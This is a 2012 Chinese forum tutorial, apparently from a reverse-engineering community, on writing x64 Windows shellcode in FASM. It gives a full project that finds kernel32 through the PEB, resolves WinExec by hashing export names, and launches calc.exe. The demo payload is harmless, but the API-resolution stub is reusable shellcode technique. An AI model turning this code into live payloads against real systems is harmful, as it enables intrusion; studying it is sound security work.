首页
社区
课程
招聘
[原创]Shellcode In X64-2Search Function using hash
发表于: 2012-8-31 03:01 6822

[原创]Shellcode In X64-2Search Function using hash

2012-8-31 03:01
6822

1 关于WinExec-run-calc X64

关于X64的可编译完整工程,我用谷歌没有找到,检索到的网址里面感觉这两个不错
/////http://mcdermottcybersecurity.com/articles/windows-x64-shellcode
/////http://code.google.com/p/win-exec-calc-shellcode/downloads/list
推荐下  
xfish帖子地址  附带了hash计算器
http://bbs.pediy.com/showthread.php?t=86216
我在这里放一个fasm的完整可编译工程,把xfish的那份32位的WinExec run cmd
改成了64位的WinExec run calc 代码写的有点罗嗦,加入nop,然后用IDA或者其他工具
提取机器码的那个纯体力活我就不做了,只放工程和讲解,这份东西花了我大概四天的时间。
一天半学习fasm,剩下几天复习PE结构和做其他的。好了,我们开始。
   
                        2 fasm的一些基础知识

网上有一份1.67的fasm中文手册,可以供你参考。下面是一个fasm hello world 的例子 你可以从中
感受下fasm的语法和关键字,以及64位ASM编程。

//////////////////////////////////////////
format PE64 GUI

   include 'win64a.inc'

entry start

section '.text' code readable executable

  start:
        sub        rsp,8*5         ; reserve stack for API use and make stack dqword aligned

        mov        r9d,0
        lea        r8,[_caption]
        lea        rdx,[_message]
        mov        rcx,0
        call        [MessageBoxA]

        mov        ecx,eax
        call        [ExitProcess]

section '.data' data readable writeable

  _caption db 'Win64 assembly program',0
  _message db 'Hello World!',0

     section '.import' import data readable writeable
     library kernel32, 'kernel32.dll',\
         user32, 'user32.dll'
     include 'api\kernel32.inc'
     include 'api\user32.inc'
//////////////////////////////////////////////

直接复制粘贴到fasm里面就可以编译通过生成一个hello world,通过这个
例子你可以亲身感受下fasm,利于我们接下来的学习。

                      3  shellcode工程注解

xfish的那份代码,基本没怎么讲解,也没怎么注释,看起来的确有点难度,
下面的代码,注释比较详细。代码既不精简,也不苗条,仅作为测试Demo进行
讲解
完整的工程代码如下,直接可以复制粘贴,编译运行。

///////////////////////////////////////////////////

format PE64 CONSOLE

macro .text {section '.text' code readable executable writeable}
macro .code {section '.code' code readable executable }
macro .data {section '.data' data readable writeable }

entry        __Entry
include 'win64axp.inc'

.text

__Entry:
nop
nop
nop
nop
       call    GetKrnlBase3   
           push 016EF74Bh  ; Hash WinExec    32
           push rsi           ;kernel32 module   64
           call    GetApi

         mov rdx,5
         lea rcx,[calc]
        call        rax
     ;   ret
          
    ;由于GetApi是我们自己实现的函数
        ;我们不一定非得 r9 r8 rdx rcx
        ;对齐是10h+8  堆栈对齐
                  
   ;      xor r9, r9

  ;       cinvoke getch
         invoke ExitProcess,0
;   mov  eax, [fs:30h]
;   mov  eax, [eax+0ch]  ;Get _PEB_LDR_DATA
;   mov  eax, [eax+1ch] ;Get InInitializationOrderModuleList.Flink,
   ;此时eax指向的是ntdll模块的InInitializationOrderModuleList线性地址。所以我们获得它的下一个则是

kernel32.dll
;   mov  eax, [eax]
;  mov  eax, [eax+8h]
;  ret   
; add 3
  struct IMAGE_EXPORT_DIRECTORY
   Characteristics             dd      ?        ;未使用
   TimeDateStamp             dd      ?        ;文件生成时间
   MajorVersion              dw      ?        ;主版本号,一般为0
   MinorVersion              dw      ?        ;次版本号,一般为0
   nName                     dd      ?        ;模块的真实名称
   nBase                     dd      ?        ;基数, 加上序数就是函数地址数组的索引值
   NumberOfFunctions             dd      ?        ;AddressOfFunctions阵列的元素个数
   NumberOfNames             dd      ?        ;AddressOfNames阵列的元素个数
   AddressOfFunctions             dd      ?        ;指向函数地址数组
   AddressOfNames             dd      ?        ;函数名字的指针地址
   AddressOfNameOrdinals     dd      ?        ;指向输出序列号数组
ends

;++
;
; int
;  GetApi(
;   IN HINSTANCE hModule,
;   IN int      iHashApi,     
;   )
;
; Routine Description:
;
;    获取指定函数的内存地址
;
; Arguments:
;
;    (esp)          - return address
;
;    Data   (esp+4) - hDllHandle
;           (esp+8) - nReason
; Return Value:
;
;    eax -> Function Mem Address。
;
;--

GetApi:
pop rdx; save return addr
pop rax; hModule kernel32.dll基地址
pop rcx; lpApiString 在这里是Hash  32位的

push rdx ;return addr 再次入栈 保存返回地址 栈中只有rdx
;各类寄存器依次入站  pushad
push rax
push rcx
push rdx
push rbx
push rsp
push rbp
push rsi
push rdi

mov ebx, eax; hModule rbx
mov edi, ecx; hashapi rdi

mov eax, [ebx+3ch]; 此时rax为e_lfanew的值 保存了PE头文件
;的偏移位置
mov esi, [ebx+eax+88h];数据目录表的第一个成员 保存了_IMAGE_EXPORT_D的RVA 32位下是78h
lea esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]  ;esi==numberofnames的内存地址
cld         
lodsd        ; mov eax,[esi]  esi=esi+4
xchg  eax,edx ;edx= NumberOfNames==有名字的函数的数量
lodsd ;  mov eax,[esi] esi=esi+4  eax此时是eat的rva 增加之后的[esi]对应AddressOfNames
push  rax;[esp]=AddressOfFunctions  EAT的RVA 此时栈中有返回地址 pushad  EAT的RVA
lodsd ;  mov eax,[esi] esi=esi+4  增加之后的[esi]对应AddressOfNameOrdinals
xchg  eax,ebp;此时ebp 是ENT 的rva
lodsd        ;mov eax,[esi] esi=esi+4   没有增加之前的[esi]对应AddressOfNameOrdinals
xchg eax,ebp;
;ebp = eot的rva, eax = ent的rva
;ebx  此时是hModule
add  eax,ebx; 此时eax是ENT的内存地址
;ebx  此时是hModule
xchg eax,esi; 此时rsi是指向ent的内存地址  VA=IB+RVA
;其中大家最 为关注的输入表、导出表、
;重定位表、资源的结构体跟 PE32 一样,没有发生任何变化。

.LoopScas:
dec edx ;edx= 有名字的函数的数量
jz  .Ret  ;.Ret先没写
lodsd ;mov eax,[esi]  esi=esi+4 此时eax是ent的内容
;内容也就是各个ASCII字符串的RVA
add eax,ebx ;IB+字符串的rva  得到ASCII字符串的内存地址
;rbx此时是hModule
push rdx; rdx= NumberOfNames-1 做递减器 保存好 以免寄存器改变
;殃及递减器
;此时栈中有返回地址  EAT的RVA 有名字的函数数量
;;全是64位的寄存器
push rax; rax==函数名字的内存地址 也就是ASCII字符串的内存地址
  ;此时栈中有返回地址  EAT的RVA 有名字的函数数量  函数名字的内存地址
  ;全是64位的寄存器
call GetRolHash
;此时edi是hash
;eax存贮了计算之后所得到的hash
;此时栈中有getapi的返回地址  EAT的RVA 有名字的函数数量
pop rdx; rdx= NumberOfNames-1 做递减器 保存好 以免寄存器改变
; ;此时栈中有getapi的返回地址  EAT的RVA
;rsi 下个函数名字的rva
cmp eax,edi
jz .GetAddr
;ebp = AddressOfNameOrdinals,
add        ebp, 2
;ebp = eot的rva
;ebp = AddressOfNameOrdinals 的rva
jmp        .LoopScas

;从 AddressOfNames 字段指向得到的函数名称地址表的第一项开始,
;在循环中将每一项定义的函数名与要查找的函数名相比较,
;如果没有任何一个函数名是符合的,表示文件中没有指定名称的函数
;如果某一项定义的函数名与要查找的函数名符合,
;那么记下这个函数名在字符串地址表中的索引
;值,然后在 AddressOfNamesOrdinals 指向的
;数组中以同样的索引值取出数组项的值,我们这里假设这个值是x
;最后,以 x 值作为索引值,在 AddressOfFunctions
;字段指向的函数入口地址表中获取的
;RVA 就是函数的入口地址。

;简单说是:查找AddressOfNames ,对应到a项,取AddressOfNamesOrdinals
;的第a项的值得到b,取AddressOfFunctions 的第b项

  ;rbx此时是hModule
   ;ebp = AddressOfNameOrdinals 的rva
   ;指向另一个word 类型的数组(注意不是双字数组)
  ; [rsp]==[esp]=AddressOfFunctions  也就是EAT的rva
   ; ;此时栈中有getapi的返回地址  EAT的RVA
.GetAddr:
  xor        rax,rax
  movzx eax,word [ebp+ebx];   00004000h
  shl        eax,2
  add        eax,[rsp]
  mov        eax,[ebx+eax]  ;得到了函数的RVA地址
  add        eax,ebx
     ; ;此时栈中有getapi的返回地址 pushad EAT的RVA
.Ret:  

        pop rcx ;
        mov [rsp+8*7],rax
;       popad
pop rdi
pop rsi
pop rbp
pop rsp
pop rbx
pop rdx
pop rcx
pop rax
        ret
        ;EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX  按照这些指令出栈可能会覆盖寄存器的值
;必须mov [esp+4*7],eax
         
  
GetKrnlBase3:
    mov rsi, [gs:60h]         ;peb from teb
    mov rsi, [rsi+18h]          ;_peb_ldr_data from peb
    mov rsi, [rsi+30h]         ;InInitializationOrderModuleList.Flink,
    ;rsi==00232c90 00000000
    mov rsi, [rsi]        ;kernelbase.dll
    ;rsi=00232b20 00000000
        mov rsi, [esi]            ;kernel32.dll

      mov rsi, [rsi+10h]  ; pay attention to danwei
    ret

GetRolHash:
pop rcx;返回地址
pop rax;函数名字内存地址
push rcx;压入返回地址
push rsi;下个函数名字的rva  下个ent的内容 也就是下个函数名字的rva
;此时栈中有getapi的返回地址  EAT的RVA 有名字的函数数量
;GetRolHash返回地址 下个函数名字的rva
xor rdx,rdx
xchg eax,esi ;rsi=第一个函数的名字的内存地址
;eax==下个函数名的RVA
cld

.Next:
lodsb ; mov al,[si] si=si+1
test al,al ;按位与测试直到函数最后一个0字符
jz .Ret
rol edx,3
xor dl,al ;
jmp .Next

.Ret:
xchg eax,edx ;此时eax存储了hash  
pop rsi ;下个函数名字的rva
ret ;pop rcx 返回地址 正好堆栈平衡

.data
;type                   db "%I64x",0
;hello_msg      db 0Dh,0Ah
calc        db "calc.exe " ,0
show db 'SW_SHOW'
section '.idata' import data readable writable

  library kernel,'KERNEL32.DLL'

  import kernel,\
         ExitProcess,'ExitProcess'

;szCaption  db 'test',0
;
;     section '.import' import data readable writeable
;     library kernel32, 'kernel32.dll',user32, 'user32.dll'
;     include 'api\kernel32.inc'
;     include 'api\user32.inc'

///////////////////////////////////////////////

注释的很详细了 需要说明的有这么几点
1堆栈平衡是重重之重,如果你记不住,就在每一行代码后面加好注释
搞清楚这个时候堆栈里面都还有些什么
2PE32+改变比较大的也就是NT头变成了IMAGE_NT_HEADERS64,使一些
偏移发生了变化,可以自行dt查看
3导出表没有发生变化
4导出表的后三个成员一定要好好看看,这是看懂代码的关键所在。

                           4  对call WinExec的说明

最后的代码我是这样写的
         mov rdx,5
         lea rcx,[calc]
         call        rax
实际上googlecode上面的那个作者也是用的rdx rcx传递的参数的,他的代码是这样的:
    PUSH    B2DW('c', 'a', 'l', 'c')      ; Stack = "calc", 0
    PUSH    RSP
    POP     RCX                           ; RCX = &("calc")
    PUSH    RCX                           ; WinExec messes with stack -
    CDQ                                   ; RDX = 0
    CALL    RDI                           ; WinExec(&("calc"), 0);
你可能问,用r9\r8传递参数不可以吗,我用r9 r8传递参数结果程序crash。我们写个简单的小程序,使用
WinExec调用calc,IDA中显示这样的结果
; int __cdecl main(int argc, const char **argv, const char **envp)
main proc near
sub     rsp, 28h
lea     rcx, CmdLine    ; "calc.exe"
mov     edx, 5          ; uCmdShow
call    cs:__imp_WinExec
xor     eax, eax
add     rsp, 28h
retn  
调用WinExec的时候 windows本身就用的是rcx\rdx传递的参数,我们也还是老老实实的用rdx\rcx传递参数吧

Fasm 完整可编译工程

noprintfwinexec.7z


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 6
支持
分享
最新回复 (5)
雪    币: 19
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
其实x64和x86的sc没多大差别,只是一些数据类型的长度不一样了,计算偏移的时候需要注意,还有就是几个新增寄存器的使用
2012-8-31 09:41
0
雪    币: 673
活跃值: (278)
能力值: ( LV15,RANK:360 )
在线值:
发帖
回帖
粉丝
3
说的简单 做起来难啊 楼上的可以尝试放一个完整的可编译的src出来

感觉写shellcode真的是精细活
2012-8-31 10:03
0
雪    币: 673
活跃值: (278)
能力值: ( LV15,RANK:360 )
在线值:
发帖
回帖
粉丝
4
还有很重要的一点 就是寄存器的使用 什么时候用32位的 什么时候用64位的
2012-8-31 10:04
0
雪    币: 296
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
学习。。学习
2012-8-31 17:18
0
雪    币: 124
活跃值: (43)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
好贴 赞一下 。。
2012-9-2 22:48
0
游客
登录 | 注册 方可回帖
返回
//